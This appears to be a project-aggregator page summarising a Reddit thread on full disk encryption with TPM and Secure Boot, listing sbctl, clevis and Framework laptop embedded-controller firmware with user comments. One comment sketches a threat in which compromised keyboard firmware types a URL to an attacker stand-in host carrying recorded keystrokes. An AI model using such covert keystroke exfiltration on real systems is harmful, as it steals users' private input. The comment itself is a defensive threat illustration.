The ultimate guide to Full Disk Encryption with TPM and Secure Boot

This page summarizes the projects mentioned and recommended in the original post on /r/linux

Our great sponsors
  • InfluxDB - Power Real-Time Data Analytics at Scale
  • WorkOS - The modern identity platform for B2B SaaS
  • SaaSHub - Software Alternatives and Reviews
  • sbctl

    :computer: :lock: :key: Secure Boot key manager

  • It's worth mentioning that using fully custom generated keys can lead to brick on some motherboards (or just failed post). That's because secure boot is also validating OpROM on external device for example dedicated GPU. UEFI BIOS inside is signed by Microsoft so validation will fail. But there is way to fix it: you can get hash of these oproms from tpm2 log and add to db in security (basically whitelist them). Here is discussion on GitHub issue how to do it author of that project sbctl also added feature to auto enroll these hashed

  • clevis

    Automated Encryption Framework

  • InfluxDB

    Power Real-Time Data Analytics at Scale. Get real-time insights from all types of time series data with InfluxDB. Ingest, query, and analyze billions of data points in real-time with unbounded cardinality.

    InfluxDB logo
  • EmbeddedController

    Embedded Controller firmware for the Framework Laptop

  • I do have to trust my keyboard (since it might be typing Ctrl+L http://evilsite.com/?payload=all_keystrokes_that_were_recorded_in_the_last_day when it detects I haven't been near my computer in a while). But for that the fix is to run trusted firmware on my EC.

NOTE: The number of mentions on this list indicates mentions on common posts plus user suggested alternatives. Hence, a higher number means a more popular project.

Suggest a related project

Related posts